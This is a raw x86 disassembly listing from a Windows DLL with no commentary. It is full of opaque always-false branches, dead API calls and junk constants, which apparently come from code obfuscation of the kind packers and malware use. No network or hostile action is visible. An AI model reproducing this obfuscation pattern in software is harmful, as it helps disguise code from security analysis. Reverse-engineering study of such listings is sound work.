mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000b741
push edi
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000b765
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
xor eax, eax
push eax
push 0x1577
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
xor eax, eax
mov byte [ebp - 0x39], al
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x2c], 0xcff0ea75
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x39
jle 0x1000b7d1
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000b7a7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1444], 0x801f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000b78e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x1000b7c8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1444], 0
jne 0x1000b7c6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x1000b7b0
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x39
jg 0x1000b782
cmp byte [ebp - 0x39], 0
je 0x1000ba0a
mov dword [ebp - 0x24], 0x5132
mov dword [ebp - 0x1c], 0x393e75cb
mov dword [ebp - 0x20], 0x885dc1b6
push 6
pop ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1000b822
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6d4], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000b809
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000b838
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x12f8], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000b827
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
test eax, eax
jne 0x1000b858
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1000b85a
mov ecx, edi
xor eax, eax
cmp ecx, 0x7779a7b4
setg al
add eax, 0xee61
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1000b881
mov edx, edi
cmp dword [ebp - 0x48], eax
jne 0x1000b883
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
dec eax
cmp eax, edx
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, eax
setne dl
imul ecx, edx, 0x29c4
mov dword [ebp - 0x6d0], edx
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
mov dword [ebp - 0x28], edx
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jg 0x1000ba02
push edi
lea ecx, [ebp - 0x71c]
call fcn.10009161
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x48], 0x293c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1000b90e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x71c]
call fcn.100091ce
mov dword [eax], 0x9e68fc78
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000b8f0
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jg 0x1000b934
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x6d4]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6d4], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1000b916
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1000b9e5
mov dword [ebp - 0x48], 0xb7f45b6d
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x6d4]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6d4], ecx
test ecx, ecx
jne 0x1000b978
xor eax, eax
lea ecx, [ebp - 0x71c]
push eax
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000b978
xor eax, eax
mov edi, eax
jmp 0x1000b97a
xor eax, eax
push eax
lea ecx, [ebp - 0x71c]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000b996
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1000b998
mov esi, eax
jmp 0x1000b99b
xor eax, eax
xor esi, esi
inc esi
push eax
lea ecx, [ebp - 0x71c]
call fcn.100091ce
push 1
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
xor eax, eax
cmp edi, ecx
pop edi
setl al
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x12f0]
mov ecx, dword [ebp - 0x48]
sub ecx, eax
or eax, 0xffffffff
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x20]
jns 0x1000b940
push 2
pop esi
lea ecx, [ebp - 0x71c]
mov byte [ebp - 4], 0xd
call fcn.100091c9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x1000b8cf
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 6
pop eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x100c]
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
push edi
call fcn.10009161
mov byte [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x40], 0x3c407858
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1000ba55
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100c]
call fcn.100091ce
mov dword [eax], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000ba37
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffed
jle 0x1000bab6
or ecx, 0xffffffff
mov edx, 0x888999d9
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0xbbef7d65
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], edx
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x84], edx
mov dword [ebp - 0x48], 0xfffffffc
dec dword [ebp - 0x48]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000baad
push eax
push eax
call dword [sym.imp.USER32.dll_CopyRect]
xor eax, eax
mov edx, 0x888999d9
or ecx, 0xffffffff
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffed
jg 0x1000ba66
lea ecx, [ebp - 0x100c]
mov byte [ebp - 4], 0xd
call fcn.100091c9
push dword [ebp - 0x30]
lea ecx, [ebp - 0xb34]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000bae1
dec dword [ebp - 0x44]
jns 0x1000b4b6
dec dword [ebp - 0x30]
jns 0x1000b34c
or eax, 0xffffffff
lea ecx, [ebp - 0xb34]
mov dword [ebp - 4], eax
call fcn.100091c9
movdqa xmm0, xmmword [0x100080e0]
lea ecx, [ebp - 0x13bc]
push 8
pop eax
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x112c]
push eax
lea eax, [ebp - 0x113c]
mov dword [ebp - 0x28], 0xffff
push eax
movdqu xmmword [ebp - 0x113c], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x226]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xb4c]
push dword [esi]
call fcn.100091a3
mov dword [ebp - 4], 0x19
xor eax, eax
mov edi, dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000bb75
push eax
push 0xf08
call edi
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
cmp eax, edx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1000bba6
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000bba8
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x1000bbad
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
push ebx
lea ecx, [ebp - 0xb4c]
call fcn.100091ce
push 8
xor ecx, ecx
mov dword [eax], esi
pop eax
sub eax, esi
add eax, dword [ebp - 0x1c]
cmp eax, 0x5755261f
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
add ecx, 0x2ff1
cmp ecx, 0x23b1a956
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x28]
jle 0x1000bc02
push ebx
lea ecx, [ebp - 0xb4c]
call fcn.100091ce
cmp dword [eax], 0
je 0x1000bc02
mov edx, ebx
jmp 0x1000bc06
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setge cl
or eax, 0xffffffff
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xb4c]
mov dword [ebp - 4], eax
call fcn.100091c9
movdqa xmm0, xmmword [0x100080e0]
lea ecx, [ebp - 0x1404]
push 8
pop eax
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x48], eax
mov eax, 0xffff
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x122c]
push eax
lea eax, [ebp - 0x123c]
push eax
movdqu xmmword [ebp - 0x123c], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x211]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xb64]
push dword [esi]
call fcn.100091a3
xor eax, eax
mov dword [ebp - 4], 0x1a
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000bc99
push eax
push 0xf08
call edi
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
cmp eax, edx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1000bcc7
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000bcc9
mov esi, ebx
jmp 0x1000bccb
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0xb64]
call fcn.100091ce
push 8
xor ecx, ecx
mov dword [eax], esi
pop eax
sub eax, esi
add eax, dword [ebp - 0x1c]
cmp eax, 0x5755261f
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
add ecx, 0x2ff1
cmp ecx, 0x23b1a956
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x28]
jle 0x1000bd20
push ebx
lea ecx, [ebp - 0xb64]
call fcn.100091ce
cmp dword [eax], 0
je 0x1000bd20
mov edx, ebx
jmp 0x1000bd24
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setge cl
or eax, 0xffffffff
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xb64]
mov dword [ebp - 4], eax
call fcn.100091c9
movdqa xmm0, xmmword [0x100080e0]
lea ecx, [ebp - 0x1354]
push 8
pop eax
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x48], eax
mov eax, 0xffff
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x114c]
push eax
lea eax, [ebp - 0x115c]
push eax
movdqu xmmword [ebp - 0x115c], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x1ec]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xa2c]
push dword [esi]
call fcn.100091a3
xor eax, eax
mov dword [ebp - 4], 0x1b
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000bdb7
push eax
push 0xf08
call edi
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
cmp eax, edx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1000bde5
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000bde7
mov esi, ebx
jmp 0x1000bde9
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0xa2c]
call fcn.100091ce
push 8
xor ecx, ecx
mov dword [eax], esi
pop eax
sub eax, esi
add eax, dword [ebp - 0x1c]
cmp eax, 0x5755261f
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
add ecx, 0x2ff1
cmp ecx, 0x23b1a956
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x28]
jle 0x1000be3e
push ebx
lea ecx, [ebp - 0xa2c]
call fcn.100091ce
cmp dword [eax], 0
je 0x1000be3e
mov edx, ebx
jmp 0x1000be42
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setge cl
or esi, 0xffffffff
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xa2c]
mov dword [ebp - 4], esi
call fcn.100091c9
push 3
lea ecx, [ebp - 0x124]
call fcn.10009161
mov dword [ebp - 4], 0x1c
mov eax, 0xfd579deb
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], 0x65786371
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x7cc], eax
mov dword [ebp - 0x7c8], eax
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x10], eax
jmp 0x1000beb6
push dword [ebp - 0x10]
call fcn.100091ce
mov dword [eax], 5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0x124]
jl 0x1000bea5
push ebx
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000bee7
push ebx
lea ecx, [ebp - 0x124]
call fcn.100091ce
cmp dword [eax], 0xa2b3b7be
je 0x1000bee7
xor eax, eax
mov esi, eax
jmp 0x1000bee9
mov esi, ebx
push ebx
lea ecx, [ebp - 0x124]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
call fcn.100091ce
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
cmp ecx, 0x24dc41fd
lea ecx, [ebp - 0x124]
setne bl
sub ebx, dword [eax]
xor eax, eax
inc eax
push eax
call fcn.100091ce
or ecx, 0xffffffff
mov eax, dword [eax]
add eax, ebx
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0x124]
setne bl
xor eax, eax
inc eax
push eax
call fcn.100091ce
xor ecx, ecx
mov eax, dword [eax]
imul eax, ebx
xor ebx, ebx
inc ebx
push ebx
imul eax, eax, 0x917a
cmp eax, ebx
setge cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x124]
call fcn.100091ce
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
mov esi, 0xe5e2e4b
setne dl
cmp edx, dword [eax]
jne 0x1000bfb1
xor ebx, ebx
lea ecx, [ebp - 0x124]
push ebx
call fcn.100091ce
cmp dword [eax], ebx
jne 0x1000bfae
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000bfa3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7d4], 0xf4e4d73b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1000bf92
jmp 0x1000c20e
xor ebx, ebx
inc ebx
push 6
pop eax
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0x3547
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x794], esi
mov dword [ebp - 0x790], esi
mov dword [ebp - 0x78c], esi
mov dword [ebp - 0x788], esi
push 0xfffffffffffffff8
pop edx
mov dword [ebp - 0xd60], edx
mov dword [ebp - 0xd5c], edx
mov dword [ebp - 0xd58], edx
mov dword [ebp - 0xd54], edx
mov dword [ebp - 0x10], 0x1ea52fa5
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x1000c18d
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x40], ecx
push 8
pop ecx
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000c051
push 0x215e
push 0x525
push 0x1ee2
push 0x782
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x124]
call fcn.100091ce
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1000c07f
push dword [ebp - 0x20]
lea ecx, [ebp - 0x124]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000c07f
xor eax, eax
mov edi, eax
jmp 0x1000c081
mov edi, ebx
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x124]
push dword [ebp - 0x20]
call fcn.100091ce
xor eax, eax
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x44]
test eax, eax
je 0x1000c0af
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000c0b1
mov ecx, ebx
jmp 0x1000c0b3
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, eax
add ecx, dword [ebp - 0x48]
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x48]
jl 0x1000c0d1
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x38], eax
je 0x1000c0d3
mov esi, ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x124]
call fcn.100091ce
xor ecx, ecx
cmp esi, dword [eax]
setge cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
lea ecx, [ebp - 0x124]
setne dl
xor ebx, ebx
sub edx, dword [ebp - 0x18]
push dword [ebp - 0x20]
cmp edi, edx
setl bl
call fcn.100091ce
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ebx, ecx
mov esi, eax
mov ecx, dword [ebp - 0x20]
setge dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x1c]
push dword [ebp - 0x20]
setl bl
xor eax, eax
cmp ebx, ecx
lea ecx, [ebp - 0x124]
setl al
xor ebx, ebx
cmp eax, dword [esi]
setle bl
sub ebx, 0x194e4064
neg ebx
sbb ebx, ebx
inc ebx
call fcn.100091ce
mov dword [eax], ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x794], eax
test eax, eax
jne 0x1000c16c
cmp dword [ebp - 0xd54], eax
jne 0x1000c16c
xor ebx, ebx
inc ebx
jmp 0x1000c171
xor ebx, ebx
inc ebx
mov eax, ebx
push 0
mov dword [ebp - 0x10], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
pop eax
push 0xffffffffffffffff
pop ecx
jle 0x1000c010
mov edi, dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x30], 0xffffffee
cmp dword [ebp - 0x30], 0xffffffe6
jne 0x1000c20e
jmp 0x1000c19e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x2ca0
jne 0x1000c1fb
mov eax, dword [ebp - 0x7d0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x794], eax
je 0x1000c1c5
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000c1d1
mov edx, ebx
cmp dword [ebp - 0x10], eax
jne 0x1000c1d3
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x794], ecx
mov eax, dword [ebp - 0x20]
imul eax, ecx
cmp eax, dword [ebp - 0x30]
jle 0x1000c1f5
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1000c1f9
mov eax, ebx
jmp 0x1000c1fb
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1000c20e
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe6
je 0x1000c19c
or eax, 0xffffffff
lea ecx, [ebp - 0x124]
mov dword [ebp - 4], eax
call fcn.100091c9
mov dword [ebp - 0x38], 0xd16df251
mov eax, 0xffff
mov dword [ebp - 0x48], 2
mov dword [ebp - 0x4c], 0x1891f782
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c24d
push eax
call dword [sym.imp.USER32.dll_DestroyCursor]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x147c]
mov dword [ebp - 0x48], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x11ec]
push eax
lea eax, [ebp - 0x11fc]
mov dword [ebp - 0x20], 0xfffffffd
push eax
movdqu xmmword [ebp - 0x11fc], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x1ee]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x52c]
push dword [esi]
call fcn.100091a3
xor ebx, ebx
mov dword [ebp - 4], 0x1d
inc ebx
mov dword [ebp - 0x28], 0xfffffffb
push ebx
lea ecx, [ebp - 0x52c]
mov dword [ebp - 0x40], ebx
call fcn.100091ce
push ebx
lea ecx, [ebp - 0x52c]
and dword [eax], 0
call fcn.100091ce
or esi, 0xffffffff
cmp dword [eax], 0xfffffff3
jle 0x1000c35f
mov dword [ebp - 0x48], 0x9dfc
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1000c2ed
mov eax, ebx
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x52c]
push ebx
call fcn.100091ce
cmp esi, dword [eax]
sbb eax, eax
neg eax
cmp dword [ebp - 0x28], eax
jl 0x1000c325
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1000c35f
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c340
push eax
push 0x59a
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
jmp 0x1000c340
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c340
push 0x182b
push 0x1e41
push eax
call dword [sym.imp.GDI32.dll_PtInRegion]
push ebx
lea ecx, [ebp - 0x52c]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0x52c]
dec dword [eax]
call fcn.100091ce
jmp 0x1000c2d4
lea ecx, [ebp - 0x52c]
mov dword [ebp - 4], esi
call fcn.100091c9
push 8
pop eax
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0xc18]
push 2
call fcn.10009161
mov dword [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x40], 0x7dc4b4e1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1000c3b8
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc18]
call fcn.100091ce
mov dword [eax], 0x1852
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1000c399
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000c3c8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
lea ecx, [ebp - 0xc18]
call fcn.100091ce
lea ecx, [ebp - 0xc18]
dec dword [eax]
mov dword [ebp - 4], esi
call fcn.100091c9
mov eax, 0xffff
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x38], 0x2e3ca369
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c40c
call dword [sym.imp.USER32.dll_EndMenu]
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1000c460
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffc
jge 0x1000c45d
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x1342f3d4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1000c44d
cmp dword [ebp - 0x2c], eax
je 0x1000c44f
mov eax, ebx
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffc
jl 0x1000c424
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x17
jl 0x1000c411
movdqa xmm0, xmmword [0x100080e0]
lea eax, [ebp - 0x116c]
push eax
lea eax, [ebp - 0x117c]
push eax
lea ecx, [ebp - 0x1364]
movdqu xmmword [ebp - 0x117c], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x1e9]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xc48]
push dword [esi]
call fcn.100091a3
mov dword [ebp - 4], 0x1f
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0xd00], eax
mov dword [ebp - 0xcfc], eax
mov dword [ebp - 0xcf8], eax
mov dword [ebp - 0xcf4], eax
mov eax, 0x54320e32
mov dword [ebp - 0x10], 0x53d8da8e
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
xor eax, eax
push 3
mov dword [ebp - 0x48], 0x2530a9bc
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1000c581
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1000c526
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x368], 0xc4c8d3c8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000c50d
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000c546
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xec4], 0x307d7c11
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000c52e
xor eax, eax
mov dword [ebp - 0x364], ecx
cmp dword [ebp - 0x364], eax
jl 0x1000c57e
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0x43c6fe23
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x364]
cmp dword [ebp + eax*4 - 0xd00], 0
jne 0x1000c57c
inc dword [ebp - 0x48]
dec dword [ebp - 0x364]
jns 0x1000c554
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x1000c504
push ecx
mov dword [ebp - 0x34], 0xfffffffc
lea ecx, [ebp - 0x8f0]
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1000c5cb
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8f0]
call fcn.100091ce
mov dword [eax], 5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1000c5ac
xor eax, eax
mov dword [ebp - 0x34], 0x19
cmp dword [ebp - 0x34], 0x1b
jl 0x1000c700
mov esi, 0xdf60
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x44], 0x54fddd3f
mov dword [ebp - 0x10], 0x82d83d78
mov dword [ebp - 0x44], 3
cmp dword [ebp - 0x44], eax
jl 0x1000c6c8
push ebx
lea ecx, [ebp - 0x418]
call fcn.10009161
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000c652
push dword [ebp - 0x10]
lea ecx, [ebp - 0x418]
call fcn.100091ce
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000c634
xor eax, eax
push eax
lea ecx, [ebp - 0x418]
call fcn.100091ce
xor ecx, ecx
push ecx
mov dword [eax], ecx
jmp 0x1000c691
call fcn.100091ce
dec dword [eax]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c680
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor eax, eax
push eax
